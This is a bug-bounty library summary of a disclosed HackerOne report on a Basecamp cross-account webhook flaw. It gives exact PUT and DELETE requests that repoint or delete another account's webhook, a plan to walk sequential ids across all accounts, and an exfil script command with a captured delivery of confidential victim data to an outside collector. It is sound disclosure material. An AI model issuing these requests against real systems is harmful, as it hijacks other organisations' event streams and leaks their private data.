# Cross-account webhook takeover: PUT and DELETE on /<account>/webhooks/<id>.json reach another account's webhook

Basecamp webhook PUT/DELETE authorized on project visibility, not account membership, letting any user hijack or delete another account's All-access webhook and exfiltrate its events.

- Payout: hidden
- Severity: high
- Program: Basecamp
- Found by: deivizzzz
- Disclosed: 2026-10-30
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/3979217
- Library page: https://bugbountylibrary.com/r/h1%3A3979217
- Tags: area:web domain:api domain:web impact:data-leak impact:integrity kind:bounty platform:hackerone sev:high technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** Webhook REST endpoints /<account>/webhooks/<id>.json on app.basecamp.com and 3.basecamp.com
**Root cause:** The webhook update/delete handler checks project visibility (All-access admission) rather than account membership, so a webhook id belonging to another account's All-access project is writable from the attacker's own account path.
**Steps:**
1. Create two accounts with no shared membership; note attacker identity 28665850 (account 6267386) and victim identity 28662102 (account 6266520).
2. Create webhooks in both accounts: `POST /6266520/buckets/48629889/webhooks.json` -> id 1996542 (victim), `POST /6267386/buckets/48681891/webhooks.json` -> id 1996543 (attacker); ids share one global counter.
3. Victim sets project to All-access: `POST /6266520/projects/48629889/admissions project[admissions]=employee`; confirm `all_access = True` via `GET /6266520/projects/48629889.json`.
4. From attacker account, `GET /6267386/webhooks/1996542.json` -> 403 (read handler denies), but `PUT /6267386/webhooks/1996542.json` -> 200, repointing the victim webhook's payload_url.
5. Same PUT succeeds via `https://app.basecamp.com/6267386/webhooks/1996542.json` and `https://3.basecamp.com/6267386/webhooks/1996542.json`.
6. Attacker cannot take the offered admission: `POST /6267386/buckets/48629889/admissions.json` -> 404; `POST /6266520/buckets/48629889/admissions.json` -> 401.
7. `DELETE /6267386/webhooks/1996542.json` -> 204; victim's `GET /6266520/webhooks/1996542.json` -> 404.
8. Negative control: set project back to invite-only (`project[admissions]=invite`), then PUT -> 403, confirming the visibility-based check.
9. Run `python3 exfil.py https://<collector>/exfil` to receive victim events (message_created with confidential content, admin email, company name) at the attacker collector.
**How found:** Noticed webhook ids are drawn from a single global counter (consecutive ids across two unrelated accounts), then tested whether the write handler's authorization differed from the read handler's — GET returned 403 while PUT returned 200, revealing the visibility-vs-membership mismatch.
**Exploitation:** Attacker enumerates the small sequential webhook id space and issues PUT /<own_account>/webhooks/<victim_id>.json to repoint payload_url to their collector; Basecamp then delivers every event (messages, comments, to-dos, documents) from the victim's All-access project to the attacker. DELETE removes the webhook entirely.
**Escalation:** Global sequential webhook ids allow walking the id space to hijack every All-access project's webhook across all accounts, not just one target.
**Insight:** When ids are globally sequential, test each HTTP verb separately against a foreign id: read and write handlers often enforce different authorization checks (here read checked membership, write checked project visibility), so a 403 on GET does not imply PUT/DELETE is blocked.

## Proof of concept (copied exactly from the original report)

**PUT to another account's webhook id succeeds**

```
PUT  (write handler ALLOWS)           PUT /6267386/webhooks/1996542.json -> 200 {"id":1996542,"active":true,"created_at":"2026-08-29T11:45:11.928Z","updated_at":"2026-08-29T11:45:17.053Z",...
```

**DELETE another account's webhook returns 204**

```
DELETE                                DELETE /6267386/webhooks/1996542.json -> 204 
GET /6266520/webhooks/1996542.json -> 404 {"status":404,"error":"Not Found"}
```

**Exfil script hijack delivers victim payload to collector**

```
POST /exfil HTTP/1.1
Host: da9c887k85v4gqmvpbo0pj84kdaxskgzd.oast.me
User-Agent: Basecamp3 Webhook
X-Request-Id: 2e8e380f-f95a-4fa5-8c62-25085b145ab2

{"id":16998387703,"kind":"message_created",...
"title":"BOARD MEETING NOTES - CONFIDENTIAL",...
"bucket":{"id":48629889,"name":"XTENANT-CANARY-VICTIM-PROJECT","type":"Project"},...
"email_address":"hackerone-bc-emp1@sergioaten.cloud","bio":"","admin":true,"owner":true,...
"company":{"id":4236805,"name":"HackerOne Research EMP1"},...
"content":"\u003cdiv\u003eacquisition price is 4.2M, do not share\u003c/div\u003e"
```

